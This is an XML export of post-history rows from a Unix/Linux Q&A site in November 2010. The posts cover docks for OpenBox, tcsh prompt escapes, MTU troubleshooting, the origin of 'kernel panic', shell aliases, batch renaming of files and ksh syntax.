  <row Id="9408" PostHistoryTypeId="2" PostId="4312" RevisionGUID="790a4e4c-2e50-4a03-9806-9fa072f3196c" CreationDate="2010-11-24T14:46:47.903" UserId="2626" Text="Docks that do not require compositing:  &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;- [tint2](http://code.google.com/p/tint2/)&#xD;&#xA;- [simdock](http://simdock.sourceforge.net/)&#xD;&#xA;- [tablaunch](http://tablaunch.sourceforge.net/)&#xD;&#xA;- [bbdock](http://bbdock.nethence.com/)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9409" PostHistoryTypeId="2" PostId="4313" RevisionGUID="f34a9669-8568-497a-a260-5dccb4958aa5" CreationDate="2010-11-24T15:08:43.097" UserId="2701" Text="By &quot;RHEL-like&quot; are you referring to, as you mention, service and environment configuration and execution or are you also seeking an RPM-based distribution?&#xD;&#xA;&#xD;&#xA;Why is network installation not an option? Will this carry over to software maintenance and management as well?&#xD;&#xA;&#xD;&#xA;Is there a reason why creating a live environment, either on a removable disk or other media such as a USB drive, then leveraging that environment to perform the install would not work?&#xD;&#xA;&#xD;&#xA;Many, if not all, of the distributions listed on [distrowatch][1] include a reference to which other distribution(s) on which they are based.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://distrowatch.com" />
  <row Id="9411" PostHistoryTypeId="5" PostId="4310" RevisionGUID="f8e84520-54c1-43f2-aa9e-8a88bd9afbe4" CreationDate="2010-11-24T15:17:48.623" UserId="73" Comment="added 10 characters in body; edited title" Text="I am using OpenBox WM and I am looking for some simple dock application (that could be used along with OpenBox) that has this icon &quot;pinning&quot; feature. It can also be a panel. So far I have found this:&#xD;&#xA;&#xD;&#xA;* Docky - it's fine but it needs compositing manager&#xD;&#xA;&#xD;&#xA;* wbar - compiles but isn't working for me (does not appear), and I am not sure if it has the &quot;pin&quot; feature&#xD;&#xA;&#xD;&#xA;Any other tools that can do this?" />
  <row Id="9412" PostHistoryTypeId="4" PostId="4310" RevisionGUID="f8e84520-54c1-43f2-aa9e-8a88bd9afbe4" CreationDate="2010-11-24T15:17:48.623" UserId="73" Comment="added 10 characters in body; edited title" Text="Looking for a simple X Window panel/dock with icon &quot;pinning&quot; feature from Windows 7" />
  <row Id="9413" PostHistoryTypeId="2" PostId="4315" RevisionGUID="86f44995-a2bf-42f3-a5ce-bb5ac352842c" CreationDate="2010-11-24T16:18:53.587" UserDisplayName="ltopia" Text="Try [Ubuntu 10.10 Essentials][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.techotopia.com/index.php/Ubuntu_10.x_Essentials" />
  <row Id="9414" PostHistoryTypeId="2" PostId="4316" RevisionGUID="0dc59913-597f-49bc-b5b1-1dfcd4b3df8e" CreationDate="2010-11-24T16:48:37.987" UserId="2421" Text="It's called `mixer_applet2` and should be part of the [gnome-applets package][1].  On Debian Squeeze, it should be installed as `/usr/lib/gnome-applets/mixer_applet2`.  I'm not using Debian, but it shows up as Volume Control in my Add to Panel dialog.&#xD;&#xA;&#xD;&#xA;You might try reinstalling gnome-applets.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/squeeze/gnome-applets" />
  <row Id="9415" PostHistoryTypeId="5" PostId="4305" RevisionGUID="40ba6384-5ab5-43a6-adae-f2626ede45b6" CreationDate="2010-11-24T17:42:26.137" UserId="73" Comment="deleted 3 characters in body" Text="I'm running GNOME 2.30 (Squeeze) and have lost my volume (loudness) control applet. I can't find it in my &quot;Add to Panel&quot; window.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/RtlDV.png" />
  <row Id="9416" PostHistoryTypeId="13" PostId="4308" RevisionGUID="c8dfb6b9-7953-44e3-9513-f8823c064315" CreationDate="2010-11-24T18:36:45.203" UserId="2626" Text="[{&quot;Id&quot;:2626,&quot;DisplayName&quot;:&quot;iamsid&quot;}]" />
  <row Id="9417" PostHistoryTypeId="2" PostId="4317" RevisionGUID="843ab0ce-dde5-43e0-930b-33202f1ebe0c" CreationDate="2010-11-24T19:31:34.303" UserId="2796" Text="Greeting all,&#xD;&#xA;&#xD;&#xA;I am attempting to make my Linux tcsh prompt bold. However I'm failing miserably.&#xD;&#xA;&#xD;&#xA;I know about escape codes and I can successfully make echo'ed output bold, but I can't seem to do it for my prompt.&#xD;&#xA;&#xD;&#xA;For example, if I use the following command:&#xD;&#xA;&#xD;&#xA;    echo &quot;\033[1m Hello \033[0m&quot;&#xD;&#xA;&#xD;&#xA;I correctly get an output line that has &lt;space&gt;Hello&lt;space&gt; and the text is bold text.&#xD;&#xA;&#xD;&#xA;However, if I try to change my prompt using similar logic it, fails. For example, If I attempt to change the prompt using the following command:&#xD;&#xA;&#xD;&#xA;    set prompt=&quot;\033[1m NEW-PROMPT \033[0m&quot;&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;    ^[[1m NEW-PROMPT ^[[0m&#xD;&#xA;&#xD;&#xA;So it seems that my prompt is not being processes the same as echo lines? Any tips on what my problem could be?&#xD;&#xA;&#xD;&#xA;Following is a trimmed down version of my environment, which may give clues as to why I might need to use some other format for the prompt.&#xD;&#xA;&#xD;&#xA;    LANG=POSIX&#xD;&#xA;    LC_CTYPE=en_US.UTF-8&#xD;&#xA;    SHELL=/bin/csh&#xD;&#xA;    SSH_CLIENT=127.0.0.1 49757 22&#xD;&#xA;    SSH_CONNECTION=127.0.0.1 49757 127.0.0.1 22&#xD;&#xA;    SSH_TTY=/dev/pts/4&#xD;&#xA;    TERM=xterm&#xD;&#xA;    HOSTTYPE=i586-linux&#xD;&#xA;    VENDOR=suse&#xD;&#xA;    OSTYPE=linux&#xD;&#xA;    MACHTYPE=i586&#xD;&#xA;    SHLVL=7&#xD;&#xA;    HOST=psbu-jrr-lnx&#xD;&#xA;    CSHEDIT=emacs&#xD;&#xA;    CPU=i686&#xD;&#xA;    LESS=-M -I&#xD;&#xA;    LESSOPEN=lessopen.sh %s&#xD;&#xA;    LESSCLOSE=lessclose.sh %s %s&#xD;&#xA;    LESS_ADVANCED_PREPROCESSOR=no&#xD;&#xA;    LESSKEY=/etc/lesskey.bin&#xD;&#xA;    PAGER=less&#xD;&#xA;    MORE=-sl&#xD;&#xA;    MINICOM=-c on&#xD;&#xA;    COLORTERM=1&#xD;&#xA;    SSH_SENDS_LOCALE=yes&#xD;&#xA;    CVS_RSH=ssh&#xD;&#xA;    WINDOWMANAGER=/usr/bin/X11/kde&#xD;&#xA;    ENV=/etc/bash.bashrc&#xD;&#xA;    CSHRCREAD=true&#xD;&#xA;    LS_COLORS=no=00:fi=00:di=01;34:ln=00;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=41;33;01:ex=00;32:*.cmd=00;32:*.exe=01;32:*.com=01;32:*.bat=01;32:*.btm=01;32:*.dll=01;32:*.tar=00;31:*.tbz=00;31:*.tgz=00;31:*.rpm=00;31:*.deb=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.zoo=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.tb2=00;31:*.tz2=00;31:*.tbz2=00;31:*.avi=01;35:*.bmp=01;35:*.fli=01;35:*.gif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mng=01;35:*.mov=01;35:*.mpg=01;35:*.pcx=01;35:*.pbm=01;35:*.pgm=01;35:*.png=01;35:*.ppm=01;35:*.tga=01;35:*.tif=01;35:*.xbm=01;35:*.xpm=01;35:*.dl=01;35:*.gl=01;35:*.wmv=01;35:*.aiff=00;32:*.au=00;32:*.mid=00;32:*.mp3=00;32:*.ogg=00;32:*.voc=00;32:*.wav=00;32:&#xD;&#xA;    LS_OPTIONS=-N --color=tty -T 0&#xD;&#xA;    FULLENV=false&#xD;&#xA;    VISUAL=vi&#xD;&#xA;    SSH_AUTH_SOCK=/tmp/ssh-lkJkR5043/agent.5043&#xD;&#xA;    SSH_AGENT_PID=5044&#xD;&#xA;    WINDOWID=60817426&#xD;&#xA;    XTERM_VERSION=XTerm(208)&#xD;&#xA;    XTERM_SHELL=/bin/csh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="9418" PostHistoryTypeId="1" PostId="4317" RevisionGUID="843ab0ce-dde5-43e0-930b-33202f1ebe0c" CreationDate="2010-11-24T19:31:34.303" UserId="2796" Text="How to make my Linux tcsh prompt bold?" />
  <row Id="9419" PostHistoryTypeId="3" PostId="4317" RevisionGUID="843ab0ce-dde5-43e0-930b-33202f1ebe0c" CreationDate="2010-11-24T19:31:34.303" UserId="2796" Text="élinuxàépromptàétcshà" />
  <row Id="9420" PostHistoryTypeId="6" PostId="4310" RevisionGUID="5c8d6d07-25da-4c43-9aab-dbe9f845cc22" CreationDate="2010-11-24T19:41:45.300" UserId="885" Comment="edited tags" Text="éxorgàésoftwareörecàéopenboxà" />
  <row Id="9421" PostHistoryTypeId="6" PostId="4299" RevisionGUID="90e59ff4-6cd7-4ec4-b5d2-512effafe562" CreationDate="2010-11-24T19:53:45.403" UserId="2688" Comment="edited tags" Text="éxorgàémultiömonitoràésynergyà" />
  <row Id="9422" PostHistoryTypeId="5" PostId="4306" RevisionGUID="cc1b101b-ad07-4f4a-83e8-c4a3955cbe42" CreationDate="2010-11-24T19:55:18.117" UserId="1327" Comment="added 16 characters in body" Text="What if you switch client screen1 with 2 ?   &#xD;&#xA;&#xD;&#xA;    ------------  -----------  ------------  -------------   &#xD;&#xA;    |  client  |  | server  |  | server   |  | client    |   &#xD;&#xA;    |  screen2 |  | screen1 |  | screen2  |  | screen1   |   &#xD;&#xA;    |----------|  |---------|  |----------|  |-----------|   &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;This way you are able to set the right of cl scr2 to left of srv scr1 and leftof cl scr1 to right of srv scr 2. Then, if you need, you can just move your taskbar to the desired screen and set the DE's behavior to open new windows on the screen where the mouse cursor is located.&#xD;&#xA;&#xD;&#xA;I had a similar setup, with the only exception that in the middle was a client with a single display and server with 2 screens on left and right... or something like this. " />
  <row Id="9423" PostHistoryTypeId="2" PostId="4318" RevisionGUID="a7be2015-d7c6-4f12-ac5e-39e6012b74ed" CreationDate="2010-11-24T20:36:13.930" UserId="1262" Text="Another simpler solution is to add `Option NoDRI`, to the `Device` section in `xorg.conf`. For example&#xD;&#xA;&#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;    	Identifier	&quot;Generic Video Card&quot;&#xD;&#xA;    	Driver		&quot;savage&quot;&#xD;&#xA;    	BusID		&quot;PCI:1:0:0&quot;&#xD;&#xA;    	Option		&quot;NoDRI&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to [this email][1], it should always work. See [this bug][2] for more information. I didn't find anything about it in Xorg's documentation, so if you find anything about it - do edit it into my answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.redhat.com/archives/fedora-devel-list/2006-September/msg00593.html&#xD;&#xA;  [2]: https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-savage/+bug/65197" />
  <row Id="9424" PostHistoryTypeId="2" PostId="4319" RevisionGUID="0b728c69-4fde-4195-8a46-cb0458e5f748" CreationDate="2010-11-24T20:50:54.413" UserId="885" Text="You have the symptoms of an [**MTU**](http://en.wikipedia.org/wiki/Maximum_transmission_unit) problem: some TCP connections freeze, more or less reproducibly for a given command or URL but with no easily discernible overall pattern. A telltale symptom is that interactive ssh sessions work well but file transfers almost always fail. Furthermore pppoe is the number one bringer of MTU problem for home users. So I prescribe an MTU check.&#xD;&#xA;&#xD;&#xA;**What is it?**&#xD;&#xA;The &lt;strong&gt;m&lt;/strong&gt;aximum &lt;strong&gt;t&lt;/strong&gt;ransmission &lt;strong&gt;u&lt;/strong&gt;nit is the maximum size of a packet over a network link. The MTU varies from transport medium to transport medium, e.g. wired Ethernet and wifi (802.11) have different MTUs, and [ATM](http://en.wikipedia.org/wiki/Asynchronous_Transfer_Mode) links (which make up most of the long-distance infrastructure) each have their own MTU.&#xD;&#xA;[PPPOE](http://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet) is an encapsulated protocol, which means that every packet consists of a few bytes of header followed by the underlying packet — so it lowers the maximum packet size by the size of the header.&#xD;&#xA;[IP](http://en.wikipedia.org/wiki/Internet_Protocol) allows routers to fragment packets if they detect that they're too big for the next hop, but this doesn't always work. In theory the proper MTU should be discovered [automatically](http://en.wikipedia.org/wiki/Path_MTU_discovery), but this also doesn't always work either. In particular googling suggests that Network Manager doesn't always properly act on MTU information obtained from MTU discovery, but I don't know what versions are affected or what the problematic use cases are.&#xD;&#xA;&#xD;&#xA;**How to measure it.**&#xD;&#xA;Try sending ping packets of a given size to an outside hosts that responds to them, e.g. `ping -c 1 -s 42 8.8.8.8` (on Linux; on other systems, look up the documentation of your `ping` command). Your packets should get through for small enough values of 42 (if 42 doesn't work, something is blocking pings.). For larger values, the packet won't get through. 1464 is a typical maximum value if the limiting piece of infrastructure is your local Ethernet network. If you're lucky, when you send a too large packet, you'll see a message like `Frag needed and DF set (mtu = 1492)`. If you're not lucky, just keep experimenting with the value until you find what the maximum is, then add 28 (`-s` specifies the payload size, and there are 28 bytes of headers in addition to that).&#xD;&#xA;See also [How to Optimize your Internet Connection using MTU and RWIN](http://ubuntuforums.org/showthread.php?t=872346) on the Ubuntu forums.&#xD;&#xA;&#xD;&#xA;**How to set it** (replace 1454 by the MTU you have determined, and `eth0` by the name of your network interface)&#xD;&#xA;&#xD;&#xA;* As a once-off (Linux):&#xD;&#xA;run `ifconfig eth0 mtu 1454`&#xD;&#xA;* Permanently (Debian and derivatives such as Ubuntu, if not using Network Manager):&#xD;&#xA;Edit `/etc/network/interfaces`. Just after the entry for your network interface (after the `iface eth0 …` directive), add a line with `pre-up ifconfig $IFACE mtu 1454`. Alternatively, if your IP address is static, you can add the `mtu 1454` parameter to the `iface eth0 inet static` directive.&#xD;&#xA;* Permanently (Debian and derivatives such as Ubuntu, with or without Network Manager):&#xD;&#xA;Create a script called `/etc/network/if-pre-up.d/mtu` with the following contents and make it world-executable (`chmod a+rx`):&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        ifconfig $IFACE mtu 1454&#xD;&#xA;" />
  <row Id="9425" PostHistoryTypeId="2" PostId="4320" RevisionGUID="3fcf97c0-964e-47b5-8c19-4a725e735755" CreationDate="2010-11-24T21:17:05.577" UserId="885" Text="The `echo` built-in performs backslash expansion on your system (this is configurable, and the default is system-dependent). The `prompt` variable contains the literal backslashes, and prompt expansion is a little weird.&#xD;&#xA;&#xD;&#xA;If you want to include terminal escape sequences in your prompt, they need to be between `%{`…`%}`, as in&#xD;&#xA;&#xD;&#xA;    set prompt=&quot;%{\e[1m%}NEW-PROMPT%{\e[0m%}&quot;&#xD;&#xA;&#xD;&#xA;But it's simpler (and in principle more portable) to use the built-in escape sequence for bold text.&#xD;&#xA;&#xD;&#xA;    set prompt=&quot;%BNEW-PROMPT%b&quot;&#xD;&#xA;" />
  <row Id="9426" PostHistoryTypeId="2" PostId="4321" RevisionGUID="d2d0a7aa-85e7-4d65-8ef7-9327d21b5d07" CreationDate="2010-11-24T22:01:57.923" UserId="688" Text="Is the name [kernel panic][1] being used outside of Linux-based systems?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1660/what-is-a-kernel-panic" />
  <row Id="9427" PostHistoryTypeId="1" PostId="4321" RevisionGUID="d2d0a7aa-85e7-4d65-8ef7-9327d21b5d07" CreationDate="2010-11-24T22:01:57.923" UserId="688" Text="Where is 'kernel panic' used?" />
  <row Id="9428" PostHistoryTypeId="3" PostId="4321" RevisionGUID="d2d0a7aa-85e7-4d65-8ef7-9327d21b5d07" CreationDate="2010-11-24T22:01:57.923" UserId="688" Text="ékernelöpanicà" />
  <row Id="9429" PostHistoryTypeId="5" PostId="4291" RevisionGUID="ff75cfed-d555-4803-bc94-035f310a4727" CreationDate="2010-11-24T22:08:55.460" UserId="2712" Comment="deleted 15 characters in body" Text="Personally, I have these in my bashrc and use them all the time:&#xD;&#xA;&#xD;&#xA;    pushd()&#xD;&#xA;    {&#xD;&#xA;      if [ $# -eq 0 ]; then&#xD;&#xA;        DIR=&quot;${HOME}&quot;&#xD;&#xA;      else&#xD;&#xA;        DIR=&quot;$1&quot;&#xD;&#xA;      fi&#xD;&#xA;&#xD;&#xA;      builtin pushd &quot;${DIR}&quot; &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    pushd_builtin()&#xD;&#xA;    {&#xD;&#xA;      builtin pushd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    popd()&#xD;&#xA;    {&#xD;&#xA;      builtin popd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    alias cd='pushd'&#xD;&#xA;    alias back='popd'&#xD;&#xA;    alias flip='pushd_builtin'&#xD;&#xA;&#xD;&#xA;You can then navigate around on the command-line a bit like a browser. `cd` changes the directory. `back` goes to the previous directory that you `cd`ed from. And `flip` will move between the current and previous directories without popping them from the directory stack. Overall, it works great.&#xD;&#xA;&#xD;&#xA;The only real problem that I'm aware of is the fact that it's then a set of commands that I'm completely used to but don't exist on anyone else's machine. So, if I have to use someone elses machine, it can be a bit frustrating. If you're used to just using `pushd` and `popd` directly, you don't have that problem. And while if you just alias `cd` put not `popd`, you won't have the issue of `back` not existing, you'll still have the problem that `cd` doesn't do quite what you expect on other machines.&#xD;&#xA;&#xD;&#xA;I would note, however, that your particular implementation of `cd` doesn't quite work like `cd` in that the normal `cd` by itself will go to your home directory, but yours doesn't. The version that I have here doesn't have that problem. Mine also appends `DIRSTACK` onto the front of the `dirs` print out, but that's more a matter of personal taste more than anything.&#xD;&#xA;&#xD;&#xA;So, as I said, I use these aliases all the time and have no problem with them. It's just that it can be a bit frustrating to have to use another machine and then find them not there (which shouldn't be surprising, but they're one of those things that you use so often that you don't think about them, so having them not work like you're used to can still be surprising)." />
  <row Id="9430" PostHistoryTypeId="2" PostId="4322" RevisionGUID="833c89be-766b-44bd-bc47-f9c36727030f" CreationDate="2010-11-24T22:25:18.440" UserId="1078" Text="The [original v1 version][1] of Unix had a label in the [source code][2] (assembly language) called `panic:`. If something went wrong elsewhere, code would jump to there and the system would reboot. The string &quot;kernel panic&quot; does not appear there, but this would appear to be the origin of kernel panic in Unix.&#xD;&#xA;&#xD;&#xA;The term has continued to be used throughout the lifetime of Unix and its derivatives.&#xD;&#xA;&#xD;&#xA;  [1]: http://minnie.tuhs.org/cgi-bin/utree.pl?file=V1&#xD;&#xA;  [2]: http://minnie.tuhs.org/cgi-bin/utree.pl?file=V1/u0.s" />
  <row Id="9431" PostHistoryTypeId="2" PostId="4323" RevisionGUID="1338d3ff-dc80-450c-9569-2f9b6d2bce6c" CreationDate="2010-11-24T22:30:52.863" UserId="885" Text="[Yes, the term was handed down from the original Unix, and was coined by Dennis Ritchie.](http://en.wikipedia.org/wiki/Kernel_panic).&#xD;&#xA;&#xD;&#xA;As recounted by [Tom Van Vleck](http://www.multicians.org/unix.html):&#xD;&#xA;&#xD;&#xA;&gt; I remarked to Dennis that easily half the code I was writing in Multics was error recovery code. He said, “We left all that stuff out. If there's an error, we have this routine called panic, and when it is called, the machine crashes, and you holler down the hall, ‘Hey, reboot it.’”&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9432" PostHistoryTypeId="6" PostId="4321" RevisionGUID="d2fe42c1-29e5-4d1e-bc70-7e33ac53ccca" CreationDate="2010-11-24T22:31:37.247" UserId="885" Comment="edited tags" Text="éhistoryàékernelöpanicàéterminologyà" />
  <row Id="9433" PostHistoryTypeId="5" PostId="4305" RevisionGUID="d83c966b-abd0-446d-853c-addfe4a41274" CreationDate="2010-11-24T23:13:40.610" UserId="688" Comment="proper credit" Text="I'm running GNOME 2.30 (Squeeze) and have lost my volume (loudness) control applet. I can't find it in my &quot;Add to Panel&quot; window.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[__update__]&#xD;&#xA;Running `gnome-volume-control-applet` (thanks to [iamsid][2]) on the terminal gives:&#xD;&#xA;&#xD;&#xA;    ** (gnome-volume-control-applet:25497): WARNING **: Connection failed, reconnecting...&#xD;&#xA;&#xD;&#xA;So that's a different Question... for another day.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/RtlDV.png&#xD;&#xA;  [2]: http://unix.stackexchange.com/users/2626/iamsid" />
  <row Id="9434" PostHistoryTypeId="5" PostId="4142" RevisionGUID="d563ea08-5bf4-4a0f-874b-b70970c82e6d" CreationDate="2010-11-25T01:08:12.230" UserId="281" Comment="deleted 25 characters in body" Text="I know you said you preferred a non-GUI application, but I am currently working on a GUI application called DownMarker which does this. You can find the source in a mercurial repository [here][1]. You can find a stand-alone executable to run with mono or .NET [here][2].&#xD;&#xA;&#xD;&#xA;Caveat: It is far from finished and only occasionally tested on linux/mono. Last test I did was on Mono 2.6. If you want to build it yourself will need a recent version of mercurial to clone the repository, and MonoDevelop to compile the application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/wcoenen/downmarker&#xD;&#xA;  [2]: http://dl.dropbox.com/u/119154/permalink/downmarker.exe" />
  <row Id="9435" PostHistoryTypeId="2" PostId="4324" RevisionGUID="17ec925b-b6c7-4acb-9f79-743732300c28" CreationDate="2010-11-25T05:33:57.007" UserId="250" Text="Why don't you think of Fedora? Perhaps you think it cannot be installed with a single CD? It has always been an option, to install Fedora from the first ISO in the series. That was quite misleading but if you read the description carefully enough there is text that say something like &quot;Only first CD is required, the rest are just additional software&quot;.&#xD;&#xA;&#xD;&#xA;In [Fedora 14][1], however, the confusion is solved because the website makes it quite clear that you install Fedora using one CD only. I guess you can still get the rest of the CDs in the series somewhere, but I don't think you will ever need to.&#xD;&#xA;&#xD;&#xA;Update: I'm not sure about `/etc/init.d` or `/etc/profile.d`, but Fedora should be the [closest][2] thing to RHEL, excluding RHEL itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/en/get-fedora&#xD;&#xA;  [2]: http://www.redhat.com/software/rhelorfedora/" />
  <row Id="9436" PostHistoryTypeId="2" PostId="4325" RevisionGUID="ec96efbf-a0a4-4e47-acdd-014aee18ee8a" CreationDate="2010-11-25T06:06:15.460" UserId="1898" Text="I have a folder that has a number of files all of a similar form as:&#xD;&#xA;&#xD;&#xA;    Dropkick Murphys - 01 - Walk Away.mp3&#xD;&#xA;    Dropkick Murphys - 02 - Workers Song.mp3&#xD;&#xA;&#xD;&#xA;And so forth...&#xD;&#xA;&#xD;&#xA;I want to convert them all so that they appear as:&#xD;&#xA;&#xD;&#xA;    01 - Walk Away.mp3&#xD;&#xA;    02 - Workers Song.mp3&#xD;&#xA;&#xD;&#xA;How can I do this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9437" PostHistoryTypeId="1" PostId="4325" RevisionGUID="ec96efbf-a0a4-4e47-acdd-014aee18ee8a" CreationDate="2010-11-25T06:06:15.460" UserId="1898" Text="truncating file names" />
  <row Id="9438" PostHistoryTypeId="3" PostId="4325" RevisionGUID="ec96efbf-a0a4-4e47-acdd-014aee18ee8a" CreationDate="2010-11-25T06:06:15.460" UserId="1898" Text="écommandölineàébashà" />
  <row Id="9439" PostHistoryTypeId="2" PostId="4326" RevisionGUID="26fade6a-7726-4596-a648-441d66bd9de7" CreationDate="2010-11-25T06:58:23.870" UserId="73" Text="You can use a `for` loop to loop over the files you want to modify. `${var/from/to}` will replace the first occurrence of `from` with `to` in `$var`, so `${var/Dropkick Murphys - /}` will replace &quot;Dropkick Murphys - &quot; with nothing:&#xD;&#xA;&#xD;&#xA;    for i in &quot;Dropkick Murphys - &quot;*; do&#xD;&#xA;        mv &quot;$i&quot; &quot;${i/Dropkick Murphys - /}&quot;    &#xD;&#xA;    done  &#xD;&#xA;" />
  <row Id="9440" PostHistoryTypeId="2" PostId="4327" RevisionGUID="a5881198-54fb-4879-95a9-e84310fc3dda" CreationDate="2010-11-25T06:59:10.843" UserId="1946" Text="`for i in *.mp3; do mv &quot;$i&quot; &quot;$(echo $i | sed 's/^Dropkick Murphys - //')&quot;; done`&#xD;&#xA;&#xD;&#xA;or, more general, to remove first 3 space-delimited words from a file name&#xD;&#xA;&#xD;&#xA;`echo $i | cut -d' ' -f4-`&#xD;&#xA;" />
  <row Id="9441" PostHistoryTypeId="2" PostId="4328" RevisionGUID="5be047ef-6738-4cc3-bc69-2cb63baa0676" CreationDate="2010-11-25T08:07:13.170" UserId="1779" Text="Pick one.&#xD;&#xA;&#xD;&#xA;    for i in *.mp3; do mv &quot;$i&quot; &quot;${i#* - }&quot;; done&#xD;&#xA;    for i in *.mp3; do mv &quot;$i&quot; &quot;${i:19}&quot;; done" />
  <row Id="9442" PostHistoryTypeId="5" PostId="4324" RevisionGUID="fe52b738-995e-4183-997c-8a104949882e" CreationDate="2010-11-25T08:19:08.567" UserId="250" Comment="added 1 characters in body" Text="Why don't you think of Fedora? Perhaps you think it cannot be installed with a single CD? It has always been an option, to install Fedora from the first ISO in the series. That was quite misleading but if you read the description carefully enough there is text that says something like &quot;Only first CD is required, the rest are just additional software&quot;.&#xD;&#xA;&#xD;&#xA;In [Fedora 14][1], however, the confusion is solved because the website makes it quite clear that you install Fedora using one CD only. I guess you can still get the rest of the CDs in the series somewhere, but I don't think you will ever need to.&#xD;&#xA;&#xD;&#xA;Update: I'm not sure about `/etc/init.d` or `/etc/profile.d`, but Fedora should be the [closest][2] thing to RHEL, excluding RHEL itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/en/get-fedora&#xD;&#xA;  [2]: http://www.redhat.com/software/rhelorfedora/" />
  <row Id="9443" PostHistoryTypeId="2" PostId="4329" RevisionGUID="2d2dac7b-faee-4882-91e6-4064de5471a2" CreationDate="2010-11-25T09:51:46.653" UserId="678" Text="Under Ubuntu or Debian, it is simply:&#xD;&#xA;&#xD;&#xA;    rename 's/Dropkick Murphys - //' *mp3&#xD;&#xA;" />
  <row Id="9444" PostHistoryTypeId="2" PostId="4330" RevisionGUID="c9cf1a30-2a90-4d2d-9011-182a72c6b00d" CreationDate="2010-11-25T11:26:24.297" UserId="2134" Text="The latest version of ksh obsoletes using `-eq` within `[[ ]]` blocks, prefering `(( ))` instead. Why is this? I can't find any documentation on the advantages of `(( ))` over `[[ ]]` anywhere, and I find that syntax considerably more obvious.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    #!/bin/ksh&#xD;&#xA;    var=1&#xD;&#xA;    if [[ $var -eq 1 ]]&#xD;&#xA;    then&#xD;&#xA;      echo ALPHA&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;    [adam@hendrix test]$ ksh -n test.sh&#xD;&#xA;    test.sh: warning: line 5: -eq within [[...]] obsolete, use ((...))&#xD;&#xA;" />
  <row Id="9445" PostHistoryTypeId="1" PostId="4330" RevisionGUID="c9cf1a30-2a90-4d2d-9011-182a72c6b00d" CreationDate="2010-11-25T11:26:24.297" UserId="2134" Text="Reason for ksh obsoleting -eq" />
  <row Id="9446" PostHistoryTypeId="3" PostId="4330" RevisionGUID="c9cf1a30-2a90-4d2d-9011-182a72c6b00d" CreationDate="2010-11-25T11:26:24.297" UserId="2134" Text="éscriptingàéshellöscriptàékshà" />
  <row Id="9447" PostHistoryTypeId="5" PostId="4330" RevisionGUID="4aae69d1-2118-4f20-9b99-03402322705d" CreationDate="2010-11-25T11:32:31.797" UserId="2134" Comment="correct output" Text="The latest version of ksh obsoletes using `-eq` within `[[ ]]` blocks, prefering `(( ))` instead. Why is this? I can't find any documentation on the advantages of `(( ))` over `[[ ]]` anywhere, and I find that syntax considerably more obvious.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    #!/bin/ksh&#xD;&#xA;    var=1&#xD;&#xA;    if [[ $var -eq 1 ]]&#xD;&#xA;    then&#xD;&#xA;      echo ALPHA&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;    [adam@hendrix test]$ ksh -n test.sh&#xD;&#xA;    test.sh: warning: line 3: -eq within [[...]] obsolete, use ((...))&#xD;&#xA;" />
  <row Id="9448" PostHistoryTypeId="2" PostId="4331" RevisionGUID="8bbfd50d-52af-4318-abda-fa6888909c61" CreationDate="2010-11-25T13:27:02.383" UserId="2180" Text="According to [this post][1], there may be more information in Rosenblatt's Learning the Korn Shell&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.computing.net/answers/unix/ksh-questions/4798.html" />
